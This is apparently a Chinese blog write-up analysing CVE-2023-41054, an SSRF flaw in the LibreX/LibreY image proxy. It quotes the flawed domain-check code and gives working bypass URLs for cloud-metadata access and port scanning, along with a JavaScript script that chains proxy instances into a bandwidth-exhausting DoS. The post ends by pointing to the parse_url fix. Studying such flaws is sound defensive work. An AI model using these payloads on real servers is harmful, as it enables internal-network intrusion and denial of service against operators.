• RSS 订阅

CVE-2023-41054 漏洞分析

LibreX/Y 对 URL host 的错误解析导致了 SSRF 漏洞,攻击者可以绕过对 host 的检查向任意 URL 发送 GET request 并获取 response body,从而访问内网资源或进行 DoS 攻击。

代码分析

 $url = $_REQUEST["url"]; 
 $requested_root_domain = get_root_domain($url); 
  
 $allowed_domains = array("qwant.com", "wikimedia.org", get_root_domain($config->invidious_instance_for_video_results)); 
  
 if (in_array($requested_root_domain, $allowed_domains)) 
 { 
   $image = $url; 
   $image_src = request($image); 
  
   header("Content-Type: image/png"); 
   echo $image_src;

这里检查了 proxy 到的目标 URL 域名在一个允许列表之中,但是 get_root_domain 是一个自己写的函数:

 function get_root_domain($url) { 
     $split_url = explode("/", $url); 
     $base_url = $split_url[2]; 
  
     $base_url_main_split = explode(".", strrev($base_url)); 
     $root_domain = strrev($base_url_main_split[1]) . "." . strrev($base_url_main_split[0]); 
  
     return $root_domain; 
 }

这一看就非常灵车(,它依赖于 URL 的标准形式,即以 http(s):// 开头。但是实际上 scheme 可以全部省略,或者只留一个 slash 而非两个,所以 /image_proxy.php?url=example.com//qwant.com/../../ 或者 /image_proxy.php?url=https:/example.com/qwant.com/../ 都可以通过这里的检查,从而造成 SSRF。

利用

访问内网资源

如果实例部署在 VPS 上可能可以在 169.254.169.254 获取到一些 metadata: /image_proxy.php?url=169.254.169.254//qwant.com/../../latest/ 或 /image_proxy.php?url=169.254.169.254//qwant.com/../../opc/v1/instance/。

还可以对 localhost 做端口扫描、对内网 IP 地址的常用端口进行扫描之类的。

默认配置中限制了 protocol 为 HTTP(S),所以无法访问本地文件之类的。

获取源站 IP 地址

如果用了 CDN,服务器的地址可能是隐藏的。可以向攻击者控制的服务器或 https://requestrepo.com/ 之类的发送请求来获得服务器的 IP 地址,从而绕开 CDN 进行 DDoS 之类的攻击。

DoS

可以让服务器请求大文件来消耗服务器带宽(攻击者不需要接收 response 从而不需要消耗带宽),但实际上一般下载到一半就超时中断了,效果和下载一张较大的图片(没有漏洞也能做到)差不多。

但是通过任意 URL 的访问,可以套娃,例如 http://librex.b.com/image_proxy.php?url=https:/librex.a.com/qwant.com/..//image_proxy.php?url=http:/librex.b.com/qwant.com/..//image_proxy.php?url=https:/librex.a.com/qwant.com/..//image_proxy.php?url=http:/speedtest.ftp.otenet.gr/qwant.com/..//files/test10Mb.db。

const INSTANCES = [
  'https://librex.a.com/',
  'https://librex.b.com/',
  'https://librex.c.com/',
];
const FINAL_TARGET = 'http://speedtest.ftp.otenet.gr/files/test10Mb.db';
const NUMBER_OF_ROUNDS = 25;
const NUMBER_OF_REQUESTS = 1;

function manipulatedUrlParam(url) {
  const u = new URL(url);
  return `${u.protocol}/${u.host}/qwant.com/../${u.pathname}${u.search}`;
}

function imageProxyUrl(instance, target) {
  const u = new URL("image_proxy.php", instance);
  u.search = new URLSearchParams({ url: manipulatedUrlParam(target) });
  // u.search = `?url=${manipulatedUrlParam(target)}`;
  return u.toString();
}

let chainedUrl = FINAL_TARGET;
for (let i = 0; i < NUMBER_OF_ROUNDS; i += 1) {
  chainedUrl = imageProxyUrl(INSTANCES[i % INSTANCES.length], chainedUrl);
}
console.log(chainedUrl);

for (let i = 0; i < NUMBER_OF_REQUESTS; i += 1) {
  console.time(`fetch ${i}`);
  fetch(chainedUrl).then((res) => {
    console.timeEnd(`fetch ${i}`);
    console.log(`${res.status}: ${res.statusText}`);
    console.log(`Content-Type: ${res.headers.get('Content-Type')}`);
    // res.text().then((t) => console.log(`Body Length: ${t.length}`));
  });
}

这样的话攻击者的一次请求就可以让服务器发送很多请求,也能同时消耗服务器的上行和下行带宽,并且同时攻击多个实例。

不同实例的攻击难度不同,可能和服务器配置有关,比较菜的服务器通过套娃一次请求就可以十几秒无响应。

修复

https://github.com/Ahwxorg/LibreY/pull/31/files (这个 PR 的名字好崩溃)

用 parse_url 就行,不知道当初作者为啥想不开自己造了个方轮子(